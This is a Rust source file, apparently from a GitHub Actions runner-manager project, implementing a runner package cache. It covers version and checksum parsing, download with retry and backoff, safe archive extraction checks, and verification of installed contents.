1use std::collections::BTreeMap;
95use std::fmt;
96use std::fs;
97use std::io::{self, Read};
98use std::path::{Component, Path, PathBuf};
99use std::sync::{Arc, Mutex};
100
101use runner_manager_domain::attempt::{AttemptState, FailureReason, RunnerAttempt};
102use runner_manager_domain::model::{Arch, AttemptId, Clock, Elapsed, Os, Timestamp};
103use runner_manager_github::rest::{RunnerDownload, RunnerDownloads};
104use runner_manager_platform::os::{self as host_os, UnsupportedHost};
105use runner_manager_platform::paths::AppPaths;
106use serde::{Deserialize, Serialize};
107use sha2::{Digest, Sha256};
108
109const PACKAGES_DIR: &str = "packages";
115const TOOL_CACHE_DIR: &str = "tool-cache";
119const STAGING_DIR: &str = ".staging";
122const LEASES_DIR: &str = ".leases";
124const LEASE_EXTENSION: &str = "lease";
125pub(crate) const MANIFEST_FILE: &str = ".runner-package.json";
127
128pub const FRESHNESS_WINDOW_DAYS: i64 = 30;
132
133pub const CHECK_INTERVAL_HOURS: i64 = 6;
137
138pub const RETRY_BUDGET: u32 = 3;
141
142pub const DOWNLOAD_CONNECT_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(30);
144
145pub const DOWNLOAD_STALL_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(60);
148
149#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
169#[serde(try_from = "String", into = "String")]
170pub struct RunnerVersion {
171 parts: Vec<u64>,
173 raw: String,
174}
175
176impl RunnerVersion {
177 const MAX_LEN: usize = 64;
180 const MIN_PARTS: usize = 2;
181 const MAX_PARTS: usize = 4;
182
183 pub fn parse(raw: &str) -> Result<Self, PackageError> {
187 let unrecognised = || PackageError::UnrecognisedVersion {
188 raw: raw.to_string(),
189 };
190 if raw.is_empty() || raw.len() > Self::MAX_LEN {
191 return Err(unrecognised());
192 }
193 let mut parts = Vec::new();
194 for segment in raw.split('.') {
195 if segment.is_empty() || !segment.bytes().all(|b| b.is_ascii_digit()) {
196 return Err(unrecognised());
197 }
198 parts.push(segment.parse::<u64>().map_err(|_| unrecognised())?);
199 }
200 if parts.len() < Self::MIN_PARTS || parts.len() > Self::MAX_PARTS {
201 return Err(unrecognised());
202 }
203 Ok(Self {
204 parts,
205 raw: raw.to_string(),
206 })
207 }
208
209 pub fn from_filename(filename: &str) -> Result<Self, PackageError> {
221 let (stem, _) = ArchiveKind::split(filename)?;
222 let last = stem.rsplit('-').next().unwrap_or(stem);
229 Self::parse(last)
230 }
231
232 #[must_use]
233 pub fn as_str(&self) -> &str {
234 &self.raw
235 }
236}
237
238impl fmt::Display for RunnerVersion {
239 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
240 f.write_str(&self.raw)
241 }
242}
243
244impl TryFrom<String> for RunnerVersion {
245 type Error = PackageError;
246
247 fn try_from(value: String) -> Result<Self, Self::Error> {
248 Self::parse(&value)
249 }
250}
251
252impl From<RunnerVersion> for String {
253 fn from(value: RunnerVersion) -> Self {
254 value.raw
255 }
256}
257
258#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
270#[serde(try_from = "String", into = "String")]
271pub struct Sha256Hex(String);
272
273impl Sha256Hex {
274 const LEN: usize = 64;
275
276 pub fn parse(raw: &str) -> Result<Self, PackageError> {
279 let trimmed = raw.trim();
280 if trimmed.len() != Self::LEN || !trimmed.bytes().all(|b| b.is_ascii_hexdigit()) {
281 return Err(PackageError::MalformedDigest {
282 raw: trimmed.to_string(),
283 });
284 }
285 Ok(Self(trimmed.to_ascii_lowercase()))
286 }
287
288 #[must_use]
289 pub fn as_str(&self) -> &str {
290 &self.0
291 }
292}
293
294impl fmt::Display for Sha256Hex {
295 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
296 f.write_str(&self.0)
297 }
298}
299
300impl TryFrom<String> for Sha256Hex {
301 type Error = PackageError;
302
303 fn try_from(value: String) -> Result<Self, Self::Error> {
304 Self::parse(&value)
305 }
306}
307
308impl From<Sha256Hex> for String {
309 fn from(value: Sha256Hex) -> Self {
310 value.0
311 }
312}
313
314#[derive(Debug, Clone, Copy, PartialEq, Eq)]
322pub enum PublishedChecksum {
323 Absent,
325 Empty,
327 Malformed,
329}
330
331impl PublishedChecksum {
332 #[must_use]
333 pub const fn describe(self) -> &'static str {
334 match self {
335 Self::Absent => "no sha256_checksum",
336 Self::Empty => "an empty sha256_checksum",
337 Self::Malformed => "a malformed sha256_checksum",
338 }
339 }
340}
341
342impl fmt::Display for PublishedChecksum {
343 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
344 f.write_str(self.describe())
345 }
346}
347
348#[derive(Debug, Clone, Copy, PartialEq, Eq)]
360enum ArchiveKind {
361 Zip,
362 TarGz,
363}
364
365impl ArchiveKind {
366 fn split(filename: &str) -> Result<(&str, Self), PackageError> {
368 let lower = filename.to_ascii_lowercase();
369 for (extension, kind) in [
370 (".tar.gz", Self::TarGz),
371 (".tgz", Self::TarGz),
372 (".zip", Self::Zip),
373 ] {
374 if lower.ends_with(extension) {
375 return Ok((&filename[..filename.len() - extension.len()], kind));
376 }
377 }
378 Err(PackageError::UnsupportedArchive {
379 filename: filename.to_string(),
380 })
381 }
382}
383
384#[derive(Debug, thiserror::Error)]
405pub enum PackageError {
406 #[error("{0}")]
409 UnsupportedHost(#[from] UnsupportedHost),
410
411 #[error("GitHub publishes no runner package for {os}/{arch}")]
415 NoPackagePublished { os: Os, arch: Arch },
416
417 #[error(
430 "GitHub published {} for runner package {version} ({os}/{arch}), so it \
431 cannot be verified and will not be installed. Pin the digest you have \
432 independently confirmed for {version} and retry.",
433 published.describe()
434 )]
435 ChecksumAbsent {
436 version: RunnerVersion,
437 os: Os,
438 arch: Arch,
439 published: PublishedChecksum,
440 },
441
442 #[error(
445 "runner package {version} does not match its published SHA-256 \
446 (published {expected}, downloaded {actual}); the partial download was \
447 discarded and nothing was extracted"
448 )]
449 ChecksumMismatch {
450 version: RunnerVersion,
451 expected: Sha256Hex,
452 actual: Sha256Hex,
453 },
454
455 #[error("`{raw}` is not a SHA-256 digest; a digest is 64 hexadecimal characters")]
457 MalformedDigest { raw: String },
458
459 #[error(
462 "GitHub rejected the runner version{}{}. Runners more than \
463 {FRESHNESS_WINDOW_DAYS} days behind the latest release are refused. \
464 Install the current package and start a new attempt; retrying this one \
465 cannot succeed.",
466 version.as_ref().map(|v| format!(" {v}")).unwrap_or_default(),
467 detail.as_ref().map(|d| format!(": {d}")).unwrap_or_default()
468 )]
469 VersionRejected {
470 version: Option<RunnerVersion>,
471 detail: Option<String>,
472 },
473
474 #[error("the runner download metadata could not be read: {detail}")]
476 CatalogUnavailable { detail: String },
477
478 #[error("the runner package could not be downloaded: {detail}")]
480 Download { detail: String },
481
482 #[error("`{raw}` is not a runner version")]
484 UnrecognisedVersion { raw: String },
485
486 #[error("`{filename}` is not a runner package archive this agent can extract")]
488 UnsupportedArchive { filename: String },
489
490 #[error("runner package entry `{entry}` escapes the directory it is extracted into")]
497 UnsafeArchiveEntry { entry: String },
498
499 #[error("the runner package archive could not be extracted: {detail}")]
501 Extract { detail: String },
502
503 #[error(
505 "runner package {version} is still held by attempt {attempt}, which is \
506 `{state}` and not terminal; it will be prunable once that attempt \
507 concludes"
508 )]
509 VersionInUse {
510 version: RunnerVersion,
511 attempt: AttemptId,
512 state: AttemptState,
517 },
518
519 #[error(
522 "runner package {version} is held by attempt {attempt}, which is not in \
523 the attempt set supplied; refusing to prune a version whose holder \
524 cannot be shown to be terminal. Release the lease explicitly if that \
525 attempt is known to be gone."
526 )]
527 VersionHeldByUnknownAttempt {
528 version: RunnerVersion,
529 attempt: AttemptId,
530 },
531
532 #[error(
535 "the runner package lease at `{}` cannot be read, so which version it \
536 holds is unknown; refusing to prune anything until it is resolved",
537 path.display()
538 )]
539 UnreadableLease { path: PathBuf },
540
541 #[error(
543 "attempt {attempt} has its runtime at `{}`, which is inside the runner \
544 package cache. Job workspaces are disposable and the cache is \
545 immutable; a workspace here would be destroyed by a prune and would \
546 mutate an entry that every other runtime is copied from.",
547 path.display()
548 )]
549 WorkspaceInsideCache { attempt: AttemptId, path: PathBuf },
550
551 #[error("runner package {version} is not installed")]
553 NotInstalled { version: RunnerVersion },
554
555 #[error("cannot {what} at `{}`: {source}", path.display())]
556 Io {
557 what: &'static str,
558 path: PathBuf,
559 #[source]
560 source: io::Error,
561 },
562
563 #[error("giving up after {attempts} attempts: {source}")]
565 Exhausted {
566 attempts: u32,
567 #[source]
568 source: Box<PackageError>,
569 },
570}
571
572impl PackageError {
573 #[must_use]
579 pub fn is_terminal(&self) -> bool {
580 match self {
581 Self::UnsupportedHost(_)
585 | Self::NoPackagePublished { .. }
586 | Self::ChecksumAbsent { .. }
587 | Self::MalformedDigest { .. }
588 | Self::VersionRejected { .. }
589 | Self::UnrecognisedVersion { .. }
590 | Self::UnsupportedArchive { .. }
591 | Self::UnsafeArchiveEntry { .. }
592 | Self::VersionInUse { .. }
593 | Self::VersionHeldByUnknownAttempt { .. }
594 | Self::UnreadableLease { .. }
595 | Self::WorkspaceInsideCache { .. }
596 | Self::NotInstalled { .. } => true,
597 Self::ChecksumMismatch { .. }
600 | Self::CatalogUnavailable { .. }
601 | Self::Download { .. }
602 | Self::Extract { .. }
603 | Self::Io { .. } => false,
604 Self::Exhausted { .. } => true,
606 }
607 }
608
609 #[must_use]
615 pub fn failure_reason(&self) -> Option<FailureReason> {
616 match self {
617 Self::ChecksumAbsent { .. }
618 | Self::ChecksumMismatch { .. }
619 | Self::MalformedDigest { .. }
620 | Self::UnsafeArchiveEntry { .. } => Some(FailureReason::RunnerPackageUnverified),
621 Self::VersionRejected { .. } => Some(FailureReason::RunnerVersionRejected),
622 Self::Exhausted { source, .. } => source.failure_reason(),
623 _ => None,
624 }
625 }
626
627 #[must_use]
630 pub fn operator_action(&self) -> Option<&'static str> {
631 match self {
632 Self::UnsupportedHost(_) => Some(
633 "run the agent on a documented operating system and architecture, \
634 or add this host to the supported matrix",
635 ),
636 Self::NoPackagePublished { .. } => Some(
637 "check that GitHub publishes a runner package for this host's \
638 operating system and architecture",
639 ),
640 Self::ChecksumAbsent { .. } => Some(
641 "confirm the package digest independently and pin it, or wait \
642 for GitHub to publish a checksum; the package will not be \
643 installed unverified",
644 ),
645 Self::MalformedDigest { .. } => {
646 Some("correct the pinned digest to 64 hexadecimal characters")
647 }
648 Self::VersionRejected { .. } => Some(
649 "install the current runner package and start a new attempt; \
650 this one cannot be retried into success",
651 ),
652 Self::UnsupportedArchive { .. } | Self::UnrecognisedVersion { .. } => Some(
653 "GitHub's runner download metadata is not in a shape this agent \
654 recognises; report it rather than working around it",
655 ),
656 Self::UnsafeArchiveEntry { .. } => Some(
657 "the runner package archive contains an entry that writes \
658 outside the cache; do not install it and report it",
659 ),
660 Self::VersionInUse { .. } => {
661 Some("wait for the attempt holding this version to conclude")
662 }
663 Self::VersionHeldByUnknownAttempt { .. } => Some(
664 "release the lease for the attempt named above if it is known to \
665 be gone, then prune again",
666 ),
667 Self::UnreadableLease { .. } => Some(
668 "inspect the lease file named above; delete it once the attempt \
669 it belonged to is known to be gone, then prune again",
670 ),
671 Self::WorkspaceInsideCache { .. } => {
672 Some("place job workspaces under the runtime directory")
673 }
674 Self::NotInstalled { .. } => Some("install the version before referencing it"),
675 Self::Exhausted { source, .. } => source.operator_action(),
676 Self::ChecksumMismatch { .. }
677 | Self::CatalogUnavailable { .. }
678 | Self::Download { .. }
679 | Self::Extract { .. }
680 | Self::Io { .. } => None,
681 }
682 }
683}
684
685#[async_trait::async_trait]
710pub trait DownloadCatalog: fmt::Debug + Send + Sync {
711 async fn published(&self) -> Result<RunnerDownloads, PackageError>;
717}
718
719#[async_trait::async_trait]
732pub trait PackageFetcher: fmt::Debug + Send + Sync {
733 async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError>;
739}
740
741#[async_trait::async_trait]
743pub trait Backoff: fmt::Debug + Send + Sync {
744 async fn wait(&self, attempt: u32);
746}
747
748#[derive(Debug, Clone, Copy)]
750pub struct ExponentialBackoff {
751 base: std::time::Duration,
752 cap: std::time::Duration,
753}
754
755impl ExponentialBackoff {
756 #[must_use]
757 pub const fn new(base: std::time::Duration, cap: std::time::Duration) -> Self {
758 Self { base, cap }
759 }
760}
761
762impl Default for ExponentialBackoff {
763 fn default() -> Self {
764 Self::new(
765 std::time::Duration::from_secs(2),
766 std::time::Duration::from_secs(30),
767 )
768 }
769}
770
771#[async_trait::async_trait]
772impl Backoff for ExponentialBackoff {
773 async fn wait(&self, attempt: u32) {
774 let factor = 1_u32 << attempt.min(16);
775 let delay = self.base.saturating_mul(factor).min(self.cap);
776 tokio::time::sleep(delay).await;
777 }
778}
779
780#[derive(Debug, Clone, Copy, Default)]
782pub struct NoBackoff;
783
784#[async_trait::async_trait]
785impl Backoff for NoBackoff {
786 async fn wait(&self, _attempt: u32) {}
787}
788
789#[derive(Debug)]
800pub struct GatewayCatalog<G> {
801 gateway: G,
802 target: runner_manager_domain::model::ScaleTarget,
803}
804
805impl<G> GatewayCatalog<G> {
806 #[must_use]
807 pub const fn new(gateway: G, target: runner_manager_domain::model::ScaleTarget) -> Self {
808 Self { gateway, target }
809 }
810}
811
812#[async_trait::async_trait]
813impl<G> DownloadCatalog for GatewayCatalog<G>
814where
815 G: runner_manager_github::rest::InventoryGateway,
816{
817 async fn published(&self) -> Result<RunnerDownloads, PackageError> {
818 let cancel = runner_manager_github::rest::CancelToken::new();
819 self.gateway
820 .runner_downloads(&self.target, &cancel)
821 .await
822 .map_err(|error| PackageError::CatalogUnavailable {
823 detail: error.to_string(),
824 })
825 }
826}
827
828#[derive(Debug, Clone)]
842pub struct HttpFetcher {
843 client: reqwest::Client,
844}
845
846impl HttpFetcher {
847 #[must_use]
848 pub fn new(client: reqwest::Client) -> Self {
849 Self { client }
850 }
851}
852
853impl Default for HttpFetcher {
854 fn default() -> Self {
855 let client = reqwest::Client::builder()
856 .connect_timeout(DOWNLOAD_CONNECT_TIMEOUT)
857 .read_timeout(DOWNLOAD_STALL_TIMEOUT)
858 .build()
859 .unwrap_or_default();
860 Self::new(client)
861 }
862}
863
864#[async_trait::async_trait]
865impl PackageFetcher for HttpFetcher {
866 async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
867 use futures::StreamExt as _;
868 use tokio::io::AsyncWriteExt as _;
869
870 let response = self
871 .client
872 .get(url)
873 .send()
874 .await
875 .and_then(reqwest::Response::error_for_status)
876 .map_err(|error| PackageError::Download {
877 detail: error.to_string(),
878 })?;
879
880 let mut file = tokio::fs::File::create(destination)
881 .await
882 .map_err(|source| PackageError::Io {
883 what: "create the package download file",
884 path: destination.to_path_buf(),
885 source,
886 })?;
887
888 let mut stream = response.bytes_stream();
889 let mut written = 0_u64;
890 while let Some(chunk) = stream.next().await {
891 let chunk = chunk.map_err(|error| PackageError::Download {
892 detail: error.to_string(),
893 })?;
894 written += chunk.len() as u64;
895 file.write_all(&chunk)
896 .await
897 .map_err(|source| PackageError::Io {
898 what: "write the package download file",
899 path: destination.to_path_buf(),
900 source,
901 })?;
902 }
903 file.flush().await.map_err(|source| PackageError::Io {
904 what: "flush the package download file",
905 path: destination.to_path_buf(),
906 source,
907 })?;
908 file.sync_all().await.map_err(|source| PackageError::Io {
909 what: "sync the package download file",
910 path: destination.to_path_buf(),
911 source,
912 })?;
913 Ok(written)
914 }
915}
916
917#[derive(Debug, Clone, Default, PartialEq, Eq)]
929pub struct PinnedDigests(BTreeMap<RunnerVersion, Sha256Hex>);
930
931impl PinnedDigests {
932 #[must_use]
933 pub fn new() -> Self {
934 Self::default()
935 }
936
937 pub fn pin(mut self, version: &str, digest: &str) -> Result<Self, PackageError> {
943 self.0
944 .insert(RunnerVersion::parse(version)?, Sha256Hex::parse(digest)?);
945 Ok(self)
946 }
947
948 #[must_use]
949 pub fn get(&self, version: &RunnerVersion) -> Option<&Sha256Hex> {
950 self.0.get(version)
951 }
952
953 #[must_use]
954 pub fn is_empty(&self) -> bool {
955 self.0.is_empty()
956 }
957}
958
959#[derive(Debug, Clone, Copy, PartialEq, Eq)]
965pub struct Freshness {
966 pub window: Elapsed,
968 pub check_interval: Elapsed,
970}
971
972impl Default for Freshness {
973 fn default() -> Self {
974 Self {
975 window: Elapsed::days(FRESHNESS_WINDOW_DAYS),
976 check_interval: Elapsed::hours(CHECK_INTERVAL_HOURS),
977 }
978 }
979}
980
981#[derive(Debug, PartialEq, Eq)]
993pub struct PackageContents {
994 entries: BTreeMap<PathBuf, ExpectedEntry>,
995}
996
997#[derive(Debug, Clone, PartialEq, Eq)]
998enum ExpectedEntry {
999 File {
1000 size: u64,
1001 sha256: [u8; 32],
1002 executable: bool,
1003 },
1004 Directory {
1005 executable: bool,
1006 },
1007 Symlink {
1008 target: PathBuf,
1009 },
1010}
1011
1012#[derive(Debug, Clone, Copy, PartialEq, Eq)]
1015pub enum ContentsMismatch {
1016 Missing,
1018 Modified,
1020 Unexpected,
1022 Unreadable,
1024}
1025
1026impl ContentsMismatch {
1027 #[must_use]
1029 pub const fn as_str(self) -> &'static str {
1030 match self {
1031 Self::Missing => "missing",
1032 Self::Modified => "modified",
1033 Self::Unexpected => "unexpected",
1034 Self::Unreadable => "unreadable",
1035 }
1036 }
1037}
1038
1039const VERIFY_THREADS: usize = 4;
1042
1043fn marked_executable(is_directory: bool, published: Option<u32>) -> bool {
1045 intended_mode(is_directory, published).is_some_and(|mode| mode & 0o100 != 0)
1046}
1047
1048fn extract_err(error: impl fmt::Display) -> PackageError {
1049 PackageError::Extract {
1050 detail: error.to_string(),
1051 }
1052}
1053
1054fn hash_reader(mut reader: impl Read, buffer: &mut [u8]) -> io::Result<(u64, [u8; 32])> {
1056 let mut hasher = Sha256::new();
1057 let mut size = 0_u64;
1058 loop {
1059 match reader.read(buffer)? {
1060 0 => return Ok((size, hasher.finalize().into())),
1061 read => {
1062 hasher.update(&buffer[..read]);
1063 size += read as u64;
1064 }
1065 }
1066 }
1067}
1068
1069impl PackageContents {
1070 fn of_archive(archive: &[u8], kind: ArchiveKind) -> Result<Self, PackageError> {
1072 let mut entries = BTreeMap::new();
1073 let mut buffer = vec![0_u8; 256 * 1024];
1074 match kind {
1075 ArchiveKind::Zip => {
1076 let mut zip =
1077 zip::ZipArchive::new(io::Cursor::new(archive)).map_err(extract_err)?;
1078 for index in 0..zip.len() {
1079 let mut entry = zip.by_index(index).map_err(extract_err)?;
1080 let Some(relative) = entry.enclosed_name().as_deref().and_then(normalised)
1081 else {
1082 continue;
1083 };
1084 let expected = if entry.is_dir() {
1085 ExpectedEntry::Directory {
1086 executable: marked_executable(true, entry.unix_mode()),
1087 }
1088 } else {
1089 let executable = marked_executable(false, entry.unix_mode());
1090 let (size, sha256) =
1091 hash_reader(&mut entry, &mut buffer).map_err(extract_err)?;
1092 ExpectedEntry::File {
1093 size,
1094 sha256,
1095 executable,
1096 }
1097 };
1098 entries.insert(relative, expected);
1099 }
1100 }
1101 ArchiveKind::TarGz => {
1102 let mut tar = tar::Archive::new(flate2::read::GzDecoder::new(archive));
1103 let mut links = Vec::new();
1104 for entry in tar.entries().map_err(extract_err)? {
1105 let mut entry = entry.map_err(extract_err)?;
1106 let path = entry.path().map_err(extract_err)?.into_owned();
1107 let Some(relative) = normalised(&path) else {
1108 continue;
1109 };
1110 let kind = entry.header().entry_type();
1111 let mode = entry.header().mode().map_err(extract_err)?;
1112 let target = entry
1113 .link_name()
1114 .map_err(extract_err)?
1115 .map(std::borrow::Cow::into_owned);
1116 let expected = match (kind, target) {
1117 (tar::EntryType::Directory, _) => ExpectedEntry::Directory {
1118 executable: marked_executable(true, Some(mode)),
1119 },
1120 (tar::EntryType::Symlink, Some(target)) => {
1121 ExpectedEntry::Symlink { target }
1122 }
1123 (tar::EntryType::Link, Some(target)) => {
1125 links.push((relative, target));
1126 continue;
1127 }
1128 _ => {
1129 let (size, sha256) =
1130 hash_reader(&mut entry, &mut buffer).map_err(extract_err)?;
1131 ExpectedEntry::File {
1132 size,
1133 sha256,
1134 executable: marked_executable(false, Some(mode)),
1135 }
1136 }
1137 };
1138 entries.insert(relative, expected);
1139 }
1140 for (relative, target) in links {
1141 let held = normalised(&target).and_then(|target| entries.get(&target).cloned());
1142 let held = held.ok_or_else(|| {
1143 extract_err("a hard link names an entry the archive does not hold")
1144 })?;
1145 entries.insert(relative, held);
1146 }
1147 }
1148 }
1149 let implied: Vec<PathBuf> = entries
1151 .keys()
1152 .flat_map(|path| path.ancestors().skip(1))
1153 .filter(|ancestor| !ancestor.as_os_str().is_empty())
1154 .map(Path::to_path_buf)
1155 .collect();
1156 for directory in implied {
1157 entries
1158 .entry(directory)
1159 .or_insert(ExpectedEntry::Directory { executable: false });
1160 }
1161 Ok(Self { entries })
1162 }
1163
1164 fn add_file(&mut self, relative: &Path, bytes: &[u8]) {
1166 self.entries.insert(
1167 relative.to_path_buf(),
1168 ExpectedEntry::File {
1169 size: bytes.len() as u64,
1170 sha256: Sha256::digest(bytes).into(),
1171 executable: false,
1172 },
1173 );
1174 }
1175
1176 pub fn verify(
1183 &self,
1184 root: &Path,
1185 ignored: impl Fn(&std::ffi::OsStr) -> bool,
1186 ) -> Result<(), ContentsMismatch> {
1187 let mut seen = 0_usize;
1188 let mut files = Vec::new();
1189 let mut pending = vec![root.to_path_buf()];
1190 while let Some(directory) = pending.pop() {
1191 let listing = fs::read_dir(&directory).map_err(|_| ContentsMismatch::Unreadable)?;
1192 for entry in listing {
1193 let entry = entry.map_err(|_| ContentsMismatch::Unreadable)?;
1194 let path = entry.path();
1195 let relative = path.strip_prefix(root).unwrap_or(&path);
1196 if directory == root && ignored(&entry.file_name()) {
1197 continue;
1198 }
1199 let expected = self
1200 .entries
1201 .get(relative)
1202 .ok_or(ContentsMismatch::Unexpected)?;
1203 seen += 1;
1204 let metadata = entry.metadata().map_err(|_| ContentsMismatch::Unreadable)?;
1206 let kind = metadata.file_type();
1207 match expected {
1208 ExpectedEntry::Directory { executable } if kind.is_dir() => {
1209 check_executable(&metadata, *executable)?;
1210 pending.push(path);
1211 }
1212 ExpectedEntry::Symlink { target } if kind.is_symlink() => {
1213 let held =
1214 fs::read_link(&path).map_err(|_| ContentsMismatch::Unreadable)?;
1215 if held != *target {
1216 return Err(ContentsMismatch::Modified);
1217 }
1218 }
1219 ExpectedEntry::File {
1220 size,
1221 sha256,
1222 executable,
1223 } if kind.is_file() => {
1224 if metadata.len() != *size {
1225 return Err(ContentsMismatch::Modified);
1226 }
1227 check_executable(&metadata, *executable)?;
1228 files.push((path, *size, *sha256));
1229 }
1230 _ => return Err(ContentsMismatch::Modified),
1231 }
1232 }
1233 }
1234 if seen != self.entries.len() {
1235 return Err(ContentsMismatch::Missing);
1236 }
1237 hash_all(&files)
1238 }
1239}
1240
1241fn normalised(path: &Path) -> Option<PathBuf> {
1244 let mut relative = PathBuf::new();
1245 for component in path.components() {
1246 match component {
1247 Component::CurDir => {}
1248 Component::Normal(name) => relative.push(name),
1249 _ => return None,
1250 }
1251 }
1252 (!relative.as_os_str().is_empty()).then_some(relative)
1253}
1254
1255fn check_executable(metadata: &fs::Metadata, executable: bool) -> Result<(), ContentsMismatch> {
1259 #[cfg(unix)]
1260 {
1261 use std::os::unix::fs::PermissionsExt as _;
1262 if executable && metadata.permissions().mode() & 0o100 == 0 {
1263 return Err(ContentsMismatch::Modified);
1264 }
1265 }
1266 #[cfg(not(unix))]
1267 let _ = (metadata, executable);
1268 Ok(())
1269}
1270
1271fn open_regular(path: &Path) -> io::Result<fs::File> {
1275 let mut options = fs::OpenOptions::new();
1276 options.read(true);
1277 #[cfg(unix)]
1278 {
1279 use std::os::unix::fs::OpenOptionsExt as _;
1280 options.custom_flags(libc::O_NOFOLLOW | libc::O_NONBLOCK);
1281 }
1282 #[cfg(windows)]
1283 {
1284 use std::os::windows::fs::OpenOptionsExt as _;
1285 options.custom_flags(0x0020_0000);
1287 }
1288 let file = options.open(path)?;
1289 if file.metadata()?.is_file() {
1290 Ok(file)
1291 } else {
1292 Err(io::Error::other("not a regular file"))
1293 }
1294}
1295
1296fn hash_all(files: &[(PathBuf, u64, [u8; 32])]) -> Result<(), ContentsMismatch> {
1298 use std::sync::atomic::{AtomicUsize, Ordering};
1299
1300 let threads = std::thread::available_parallelism()
1301 .map_or(1, std::num::NonZero::get)
1302 .clamp(1, VERIFY_THREADS);
1303 let next = AtomicUsize::new(0);
1304 let failure = Mutex::new(None);
1305 let work = || {
1306 let mut buffer = vec![0_u8; 256 * 1024];
1307 let failed = || {
1308 failure
1309 .lock()
1310 .unwrap_or_else(std::sync::PoisonError::into_inner)
1311 };
1312 while failed().is_none() {
1313 let Some((path, size, expected)) = files.get(next.fetch_add(1, Ordering::Relaxed))
1314 else {
1315 return;
1316 };
1317 let outcome = open_regular(path)
1319 .and_then(|file| hash_reader(file.take(size + 1), &mut buffer))
1320 .map_err(|_| ContentsMismatch::Unreadable)
1321 .and_then(|(read, actual)| {
1322 if read == *size && actual == *expected {
1323 Ok(())
1324 } else {
1325 Err(ContentsMismatch::Modified)
1326 }
1327 });
1328 if let Err(mismatch) = outcome {
1329 *failed() = Some(mismatch);
1330 }
1331 }
1332 };
1333 std::thread::scope(|scope| {
1334 for _ in 1..threads {
1337 let _ = std::thread::Builder::new().spawn_scoped(scope, work);
1338 }
1339 work();
1340 });
1341 failure
1342 .into_inner()
1343 .unwrap_or_else(std::sync::PoisonError::into_inner)
1344 .map_or(Ok(()), Err)
1345}
1346
1347#[derive(Debug, Clone, PartialEq, Eq)]
1349pub struct InstalledPackage {
1350 version: RunnerVersion,
1351 root: PathBuf,
1352 installed_at: Timestamp,
1353 digest: Sha256Hex,
1354 contents: Option<Arc<PackageContents>>,
1356}
1357
1358impl InstalledPackage {
1359 #[must_use]
1360 pub fn version(&self) -> &RunnerVersion {
1361 &self.version
1362 }
1363
1364 #[must_use]
1371 pub fn root(&self) -> &Path {
1372 &self.root
1373 }
1374
1375 #[must_use]
1379 pub const fn installed_at(&self) -> Timestamp {
1380 self.installed_at
1381 }
1382
1383 #[must_use]
1385 pub const fn digest(&self) -> &Sha256Hex {
1386 &self.digest
1387 }
1388
1389 #[must_use]
1392 pub fn contents(&self) -> Option<Arc<PackageContents>> {
1393 self.contents.clone()
1394 }
1395}
1396
1397#[derive(Debug, Clone, Serialize, Deserialize)]
1400struct Manifest {
1401 version: RunnerVersion,
1402 digest: Sha256Hex,
1403 installed_at: Timestamp,
1404 filename: String,
1406}
1407
1408pub struct CachePorts {
1414 pub catalog: Arc<dyn DownloadCatalog>,
1415 pub fetcher: Arc<dyn PackageFetcher>,
1416 pub backoff: Arc<dyn Backoff>,
1417 pub clock: Arc<dyn Clock>,
1418}
1419
1420impl fmt::Debug for CachePorts {
1421 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1422 f.debug_struct("CachePorts")
1423 .field("catalog", &self.catalog)
1424 .field("fetcher", &self.fetcher)
1425 .field("backoff", &self.backoff)
1426 .field("clock", &self.clock)
1427 .finish()
1428 }
1429}
1430
1431#[derive(Debug, Clone, Default)]
1434pub struct LastCheck(Arc<Mutex<Option<Timestamp>>>);
1435
1436#[derive(Debug)]
1438pub struct PackageCache {
1439 root: PathBuf,
1440 tool_cache: PathBuf,
1441 os: Os,
1442 arch: Arch,
1443 ports: CachePorts,
1444 pins: PinnedDigests,
1445 freshness: Freshness,
1446 retry_budget: u32,
1447 last_check: LastCheck,
1454}
1455
1456impl PackageCache {
1457 #[must_use]
1465 pub fn new(paths: &AppPaths, os: Os, arch: Arch, ports: CachePorts) -> Self {
1466 Self {
1467 root: paths.state_dir().join(PACKAGES_DIR),
1468 tool_cache: paths.state_dir().join(TOOL_CACHE_DIR),
1469 os,
1470 arch,
1471 ports,
1472 pins: PinnedDigests::new(),
1473 freshness: Freshness::default(),
1474 retry_budget: RETRY_BUDGET,
1475 last_check: LastCheck::default(),
1476 }
1477 }
1478
1479 #[must_use]
1480 pub fn with_pins(mut self, pins: PinnedDigests) -> Self {
1481 self.pins = pins;
1482 self
1483 }
1484
1485 #[must_use]
1486 pub const fn with_freshness(mut self, freshness: Freshness) -> Self {
1487 self.freshness = freshness;
1488 self
1489 }
1490
1491 #[must_use]
1493 pub fn with_last_check(mut self, last_check: LastCheck) -> Self {
1494 self.last_check = last_check;
1495 self
1496 }
1497
1498 #[must_use]
1501 pub const fn with_retry_budget(mut self, budget: u32) -> Self {
1502 self.retry_budget = if budget == 0 { 1 } else { budget };
1503 self
1504 }
1505
1506 #[must_use]
1508 pub fn root(&self) -> &Path {
1509 &self.root
1510 }
1511
1512 #[must_use]
1520 pub fn tool_cache_dir(&self) -> &Path {
1521 &self.tool_cache
1522 }
1523
1524 pub async fn reinstall(&self) -> Result<InstalledPackage, PackageError> {
1544 let staging_root = self.staging_root();
1545 create_dir_all(&staging_root)?;
1546 let mut set_aside = Vec::new();
1547 for root in self.version_directories()? {
1550 set_aside.push(self.set_aside(&root)?);
1551 }
1552 let installed = self.install(true).await;
1553 tokio::task::spawn_blocking(move || drop(set_aside));
1557 installed.map(|(package, _)| package)
1558 }
1559
1560 fn version_directories(&self) -> Result<Vec<PathBuf>, PackageError> {
1562 let listing = match fs::read_dir(&self.root) {
1563 Ok(listing) => listing,
1564 Err(error) if error.kind() == io::ErrorKind::NotFound => return Ok(Vec::new()),
1565 Err(source) => {
1566 return Err(PackageError::Io {
1567 what: "list the runner package cache",
1568 path: self.root.clone(),
1569 source,
1570 });
1571 }
1572 };
1573 let mut found = Vec::new();
1574 for entry in listing {
1575 let entry = entry.map_err(|source| PackageError::Io {
